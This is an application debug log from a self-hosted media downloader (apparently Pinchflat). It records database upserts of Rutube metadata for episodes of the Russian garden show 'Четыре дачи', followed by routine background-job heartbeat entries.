db=125.3ms idle=120.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Своё гостеприимство проявят дачники Ростовской области. Ирина поделится атмосферой вдохновения на «мысе творчества». Евгения расскажет, как донской антураж сочетается с нанотехнологиями. Анна организует для соперников деревенский уют. А Александр пригласит в русское поместье. Как ухаживать за садом и огородом, узнаем из программы «Четыре дачи».", "Четыре дачи: Ростовская область", "e0d1daca-2935-4ab4-b9cb-3943e0b9dc4c", "6c43fe010253acb5d2c627d868382cb0", 4748, false, "https://rutube.ru/video/6c43fe010253acb5d2c627d868382cb0/", 14, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e081600 - Четыре дачи: Ростовская область.mp4", false, false, false, 5, [], 1, ~U[2025-08-16 08:10:06Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Своё гостеприимство проявят дачники Ростовской области. Ирина поделится атмосферой вдохновения на «мысе творчества». Евгения расскажет, как донской антураж сочетается с нанотехнологиями. Анна организует для соперников деревенский уют. А Александр пригласит в русское поместье. Как ухаживать за садом и огородом, узнаем из программы «Четыре дачи».", "Четыре дачи: Ростовская область", "6c43fe010253acb5d2c627d868382cb0", 4748, false, "https://rutube.ru/video/6c43fe010253acb5d2c627d868382cb0/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e081600 - Четыре дачи: Ростовская область.mp4", false, 5, ~U[2025-08-16 08:10:06Z]] 11:15:05.056 [debug] QUERY OK source="sources" db=46.0ms queue=0.2ms idle=245.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:05.061 [debug] QUERY OK source="media_items" db=4.5ms queue=0.2ms idle=216.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-23 08:10:06Z], 5] 11:15:05.214 [debug] QUERY OK source="media_items" db=151.1ms queue=0.2ms idle=184.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Путешествие по дачам Краснодарского края начинается! В Приморско-Ахтарске Ольга встретит гостей на своей курортной даче. В селе Экономическом Елена покажет «оазис впечатлений». В Сочи Дарья будет ждать участниц на даче вдохновения. А в Анапе Екатерина расскажет об особенностях своей дачи просвещения. Какие оценки соперницы выставят друг другу, узнаем из программы «Четыре дачи».", "Четыре дачи: Краснодарский край 2", "4dc49f91-c3fd-4094-9b10-bd759ff6dc51", "5bb6aa3561e029df864743ae4de9a32d", 4268, false, "https://rutube.ru/video/5bb6aa3561e029df864743ae4de9a32d/", 15, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e082300 - Четыре дачи: Краснодарский край 2.mp4", false, false, false, 5, [], 1, ~U[2025-08-23 08:10:06Z], ~U[2025-12-09 08:15:05Z], ~U[2025-12-09 08:15:05Z], "Путешествие по дачам Краснодарского края начинается! В Приморско-Ахтарске Ольга встретит гостей на своей курортной даче. В селе Экономическом Елена покажет «оазис впечатлений». В Сочи Дарья будет ждать участниц на даче вдохновения. А в Анапе Екатерина расскажет об особенностях своей дачи просвещения. Какие оценки соперницы выставят друг другу, узнаем из программы «Четыре дачи».", "Четыре дачи: Краснодарский край 2", "5bb6aa3561e029df864743ae4de9a32d", 4268, false, "https://rutube.ru/video/5bb6aa3561e029df864743ae4de9a32d/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e082300 - Четыре дачи: Краснодарский край 2.mp4", false, 5, ~U[2025-08-23 08:10:06Z]] 11:15:05.331 [debug] QUERY OK source="sources" db=115.8ms queue=0.1ms idle=335.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:05.333 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=327.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 15:40:56Z], 5] 11:15:05.488 [debug] QUERY OK source="media_items" db=153.3ms idle=278.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Делиться дачными секретами будут жители Саратовской области. Любовь покажет, что успела сделать за год на своей даче новичка. Марианна расскажет, почему назвала свою дачу «в гостях у сказки». Елена проведёт экскурсию по «министерству отдыха». А Жанна на своей даче будет удивлять растениями со всего мира. Смотрите программу «Четыре дачи»!", "Четыре дачи: Саратовской область", "55b1ddc9-b9da-4a0e-9abe-4717e08db217", "fd094ade23b785536dc70528f0ead5f6", 4596, false, "https://rutube.ru/video/fd094ade23b785536dc70528f0ead5f6/", 16, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e083000 - Четыре дачи: Саратовской область.mp4", false, false, false, 5, [], 1, ~U[2025-08-30 15:40:56Z], ~U[2025-12-09 08:15:05Z], ~U[2025-12-09 08:15:05Z], "Делиться дачными секретами будут жители Саратовской области. Любовь покажет, что успела сделать за год на своей даче новичка. Марианна расскажет, почему назвала свою дачу «в гостях у сказки». Елена проведёт экскурсию по «министерству отдыха». А Жанна на своей даче будет удивлять растениями со всего мира. Смотрите программу «Четыре дачи»!", "Четыре дачи: Саратовской область", "fd094ade23b785536dc70528f0ead5f6", 4596, false, "https://rutube.ru/video/fd094ade23b785536dc70528f0ead5f6/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e083000 - Четыре дачи: Саратовской область.mp4", false, 5, ~U[2025-08-30 15:40:56Z]] 11:15:05.531 [debug] QUERY OK source="sources" db=43.0ms idle=428.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:05.533 [debug] QUERY OK source="media_items" db=1.0ms queue=0.5ms idle=317.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 08:40:06Z], 5] 11:15:05.604 [debug] QUERY OK source="media_items" db=69.1ms idle=203.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие дачники Северного Кавказа. Екатерина покажет «яблоневый рай», Елена – дачу «растительный микс», Сослан – «голубичное царство», а Элиза – агро-астрологическую дачу. Как участники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Северный Кавказ", "4dad320e-ae6a-49ca-90a7-c0483b38be2e", "24e36fbf45215adc839c737903c422a2", 4488, false, "https://rutube.ru/video/24e36fbf45215adc839c737903c422a2/", 17, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e090600 - Четыре дачи: Северный Кавказ.mp4", false, false, false, 5, [], 1, ~U[2025-09-06 08:40:06Z], ~U[2025-12-09 08:15:05Z], ~U[2025-12-09 08:15:05Z], "В этом выпуске примут участие дачники Северного Кавказа. Екатерина покажет «яблоневый рай», Елена – дачу «растительный микс», Сослан – «голубичное царство», а Элиза – агро-астрологическую дачу. Как участники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Северный Кавказ", "24e36fbf45215adc839c737903c422a2", 4488, false, "https://rutube.ru/video/24e36fbf45215adc839c737903c422a2/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e090600 - Четыре дачи: Северный Кавказ.mp4", false, 5, ~U[2025-09-06 08:40:06Z]] 11:15:05.641 [debug] QUERY OK source="sources" db=35.8ms idle=271.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:05.644 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=155.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 09:00:06Z], 5] 11:15:05.700 [debug] QUERY OK source="media_items" db=55.6ms idle=112.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["За звание лучшей дачи поборются жители Подмосковья. В соревновании примут участие живописная дача Наталии, дача в стиле рустик Анны, дача «музыкальная гармония» Светланы и «умная дача» Елены. Кому удастся впечатлить соперников, покажет программа «Четыре дачи».", "Четыре дачи: Московская область", "7bd03c45-0689-46da-be74-559ee6ad6892", "e143b9630f164344e281b10410142c11", 4577, false, "https://rutube.ru/video/e143b9630f164344e281b10410142c11/", 18, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e091300 - Четыре дачи: Московская область.mp4", false, false, false, 5, [], 1, ~U[2025-09-13 09:00:06Z], ~U[2025-12-09 08:15:05Z], ~U[2025-12-09 08:15:05Z], "За звание лучшей дачи поборются жители Подмосковья. В соревновании примут участие живописная дача Наталии, дача в стиле рустик Анны, дача «музыкальная гармония» Светланы и «умная дача» Елены. Кому удастся впечатлить соперников, покажет программа «Четыре дачи».", "Четыре дачи: Московская область", "e143b9630f164344e281b10410142c11", 4577, false, "https://rutube.ru/video/e143b9630f164344e281b10410142c11/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e091300 - Четыре дачи: Московская область.mp4", false, 5, ~U[2025-09-13 09:00:06Z]] 11:15:05.740 [debug] QUERY OK source="sources" db=39.7ms idle=167.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:05.751 [debug] QUERY OK source="media_items" db=8.5ms queue=0.1ms idle=102.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-20 09:00:11Z], 5] 11:15:05.795 [debug] QUERY OK source="media_items" db=41.7ms queue=0.5ms idle=109.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дачники Золотого кольца России приглашают в гости! В Кохме Татьяна покажет свою сказочную дачу. В деревне Сидоровское Марина будет удивлять дачей «чудесный уголок». В селе Решма Ольга поделится своим местом вдохновения. А в деревне Корокино Наталья проявит гостеприимство на заповедной даче. Каким получится путешествие по Золотому кольцу, увидим в программе «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "c3cd109a-f0d0-4fae-9ba4-3398f7e916b7", "0b0a9fe647a0d6244a3775566d36daa8", 5164, false, "https://rutube.ru/video/0b0a9fe647a0d6244a3775566d36daa8/", 19, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e092000 - Четыре дачи: Золотое кольцо России.mp4", false, false, false, 5, [], 1, ~U[2025-09-20 09:00:11Z], ~U[2025-12-09 08:15:05Z], ~U[2025-12-09 08:15:05Z], "Дачники Золотого кольца России приглашают в гости! В Кохме Татьяна покажет свою сказочную дачу. В деревне Сидоровское Марина будет удивлять дачей «чудесный уголок». В селе Решма Ольга поделится своим местом вдохновения. А в деревне Корокино Наталья проявит гостеприимство на заповедной даче. Каким получится путешествие по Золотому кольцу, увидим в программе «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "0b0a9fe647a0d6244a3775566d36daa8", 5164, false, "https://rutube.ru/video/0b0a9fe647a0d6244a3775566d36daa8/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e092000 - Четыре дачи: Золотое кольцо России.mp4", false, 5, ~U[2025-09-20 09:00:11Z]] 11:15:05.848 [debug] QUERY OK source="sources" db=51.7ms idle=95.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:05.853 [debug] QUERY OK source="media_items" db=2.1ms queue=0.2ms idle=110.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-27 09:10:07Z], 5] 11:15:05.965 [debug] QUERY OK source="media_items" db=109.6ms idle=103.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дачницы Московской области побывают в гостях друг у друга. Ирина из Зарайска пригласит на свою дружелюбную дачу. Ирина из СНТ Восток покажет «маленькую Швейцарию». В деревне Чарково Ксения вдохновит гостей розовым садом. А в деревне Козино Татьяна похвастается урожайной дачей. Секретами ухода за садом и огородом поделится программа «Четыре дачи».", "Четыре дачи: Московская область 2", "1274c771-f856-4cc4-8c30-d6e3310b3c0b", "753bd8d44dc773592caab9357bdd7711", 5205, false, "https://rutube.ru/video/753bd8d44dc773592caab9357bdd7711/", 20, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e092700 - Четыре дачи: Московская область 2.mp4", false, false, false, 5, [], 1, ~U[2025-09-27 09:10:07Z], ~U[2025-12-09 08:15:05Z], ~U[2025-12-09 08:15:05Z], "Дачницы Московской области побывают в гостях друг у друга. Ирина из Зарайска пригласит на свою дружелюбную дачу. Ирина из СНТ Восток покажет «маленькую Швейцарию». В деревне Чарково Ксения вдохновит гостей розовым садом. А в деревне Козино Татьяна похвастается урожайной дачей. Секретами ухода за садом и огородом поделится программа «Четыре дачи».", "Четыре дачи: Московская область 2", "753bd8d44dc773592caab9357bdd7711", 5205, false, "https://rutube.ru/video/753bd8d44dc773592caab9357bdd7711/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e092700 - Четыре дачи: Московская область 2.mp4", false, 5, ~U[2025-09-27 09:10:07Z]] 11:15:06.043 [debug] QUERY OK source="sources" db=77.4ms queue=0.2ms idle=209.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:06.056 [debug] QUERY OK source="media_items" db=9.3ms queue=0.6ms idle=251.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-04 12:30:28Z], 5] 11:15:06.252 [debug] QUERY OK source="media_items" db=191.8ms queue=0.1ms idle=212.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В дачном противостоянии примут участие жительницы Ленинградской области. Анна пригласит в гости на свою современную дачу, Наталья – на королевскую дачу, Екатерина – на ретро-дачу, а Марина – на впечатляющую дачу. Чем соперницам запомнятся эти встречи, узнаем из программы «Четыре дачи».\n\nКрути банки и открывай призы: t.me/zakrutki_friday_bot", "Четыре дачи: Ленинградская область", "867d6ac3-70fd-4bbe-838f-ee262a93ec2a", "1025284fca7a1f38d6562a12ecaa03ef", 4746, false, "https://rutube.ru/video/1025284fca7a1f38d6562a12ecaa03ef/", 21, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e100400 - Четыре дачи: Ленинградская область.mp4", false, false, false, 5, [], 1, ~U[2025-10-04 12:30:28Z], ~U[2025-12-09 08:15:06Z], ~U[2025-12-09 08:15:06Z], "В дачном противостоянии примут участие жительницы Ленинградской области. Анна пригласит в гости на свою современную дачу, Наталья – на королевскую дачу, Екатерина – на ретро-дачу, а Марина – на впечатляющую дачу. Чем соперницам запомнятся эти встречи, узнаем из программы «Четыре дачи».\n\nКрути банки и открывай призы: t.me/zakrutki_friday_bot", "Четыре дачи: Ленинградская область", "1025284fca7a1f38d6562a12ecaa03ef", 4746, false, "https://rutube.ru/video/1025284fca7a1f38d6562a12ecaa03ef/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e100400 - Четыре дачи: Ленинградская область.mp4", false, 5, ~U[2025-10-04 12:30:28Z]] 11:15:06.423 [debug] QUERY OK source="sources" db=166.1ms queue=0.1ms idle=399.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-09 08:15:06Z], ~U[2025-12-09 08:15:06Z], 5] 11:15:06.498 [debug] QUERY OK source="media_items" db=74.4ms queue=0.1ms idle=459.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 11:15:06.499 [debug] QUERY OK source="media_items" db=0.5ms idle=455.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 11:15:06.501 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=443.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 11:15:06.695 [debug] QUERY OK source="tasks" db=121.5ms decode=0.3ms idle=74.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2219, 5, ~U[2025-12-09 08:15:06Z], ~U[2025-12-09 08:15:06Z]] 11:15:07.026 [info] {"args":{"id":5},"id":2211,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":19857469,"event":"job:stop","attempt":2,"queue_time":173047,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:15:28.134 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:15:31.331 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.771 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:01.333 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:31.336 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.777 [info] {"source":"oban","duration":3958,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:01.529 [info] {"source":"oban","duration":191964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:28.142 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 11:17:31.532 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.779 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:01.874 [info] {"source":"oban","duration":340767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:28.147 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:18:31.876 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.780 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:01.878 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:28.151 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 11:19:31.880 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.785 [info] {"source":"oban","duration":3915,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:04.456 [info] {"source":"oban","duration":2574705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:34.457 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.790 [info] {"source":"oban","duration":3391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 